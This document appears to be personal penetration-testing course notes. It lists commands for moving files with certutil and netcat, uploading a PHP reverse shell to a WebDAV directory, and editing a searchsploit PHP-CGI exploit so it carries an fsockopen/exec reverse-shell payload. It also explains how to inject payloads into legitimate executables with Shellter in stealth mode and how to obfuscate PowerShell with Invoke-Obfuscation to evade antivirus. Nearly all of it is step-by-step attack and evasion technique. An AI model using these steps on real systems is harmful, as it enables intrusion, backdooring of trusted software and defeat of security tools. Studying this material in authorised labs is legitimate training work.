It will create a HTTP server by sharing all the files in the 'root/usr/share' directory.

```
> certutil -urlcache -f http://target-IP/path_to_file save_name.txt
```

By this we will access the http server and can copy/download any files from the server.

To Transfer Files with Netcat

```
> nc -nv target-IP <port> < file.txt
```

To send a file

```
> nc -nvlp <port> > save-to-this.txt
```

To receive a file.

Any file will be received & saved as 'save-to-this.txt'

Bind Shells & Reverse Shells

Reverse Shells

payloads — all the things # Find all the reverse shells.

www.revshell.com # Will generate according to our port & IP address.

MYSQL & WORDPRESS — Post Exploitation

After getting into the meterpreter shell, we will edit the 'phpadmin.config' file by providing access to it.

=> After editing, if we don't get access, we need to restart the apache server.

```
> net stop wamapache
```

```
> net start wamapache
```

VSFTPD

If we can't exploit it directly by the payload/msf, we will use SMTP instead.

Only to find the valid users, then brute force.

```
> ls -al /usr/share/webshells/php/php-reverse-shell.php
```

```
> cp /usr/share/webshells/php/php-reverse-shell.php .
```

```
> vim php-reverse-shell # Change it with your ip
```

Upload the php-reverse-shell into the 'dav' directory.

Create Netcat listener then execute the shell.php in the web.

```
> put shell.php
```

Exploiting PHP

target-IP/phpinfo.php — will give you the info about the php versions.

```
> searchsploit php cgi # Search for that exact php version.
```

```
> searchsploit -M 18836
```

```
> vim 18836
```

The pwn-code = php code to get the info.

Here we will inject the reverse shell payload.

```
$sock = fsockopen('IP', PORT);
```

```
exec('/bin/sh -i <&3 >&3 2>&3');
```

AV Evasion with Shellter

Antivirus software will detect based on special methods:

- 1) Signature-based Detection: The collection of unique sequence from a virus then check it with the payloads & files we inject.

If it doesn't match one byte then it will say it as not malware/virus.

So, we can bypass this by modifying the payloads.

- 2) Heuristic-based: Relies on rules & decisions to determine the binary is malicious. It checks for specific patterns.
- 3) Behavior Based: Relies on monitoring the malware behaviour.

```
> sudo apt-get install shellter -y
```

We need to allow the 32 bit architecture because Linux distributions are 64 bit.

```
> dpkg --add-architecture i386
```

```
> sudo apt-get install wine32
```

```
> cd /usr/share/windows-resources/shellter
```

Here the shellter will be downloadable.

```
> sudo wine shellter.exe
```

Auto/Manual: A

PE Target: /home/kali/Desktop/WncViewer.exe

Where we inject the payload — path.

Enable Stealth Mode (Y/N/H): Y

Payloads: (L/C/H): C (Listed)

Select Indexes: 1, 2 # Like tags.

```
> set LHOST:
```

```
> set LPORT:
```

Finish.

Now we got the payload into a legitimate file/executable.

We will transfer this into target, then set a handler and execute this payload.

We will get the connection.

Obfuscating the PowerShell Code

github.com/danielbohannon/Invoke-Obfuscation

Clone this repository.

```
> sudo apt-get install powershell
```

```
> pwsh # Load powershell
```

```
> cd .\Invoke-Obfuscation\
```

```
> Import-Module .\Invoke-Obfuscation.psd1
```

```
> Invoke-obfuscation # It launches the tool.
```

```
> set script path "path which file/payload we need to obfuscate"
```

```
> choose options:
```

TOKEN AST STRING ENCODING COMPRESS LAUNCHER

\$ AST. (Best option)

```
> choose AST options: ALL
```

\$ 1 → It will provide you the result of the Obfuscated Code.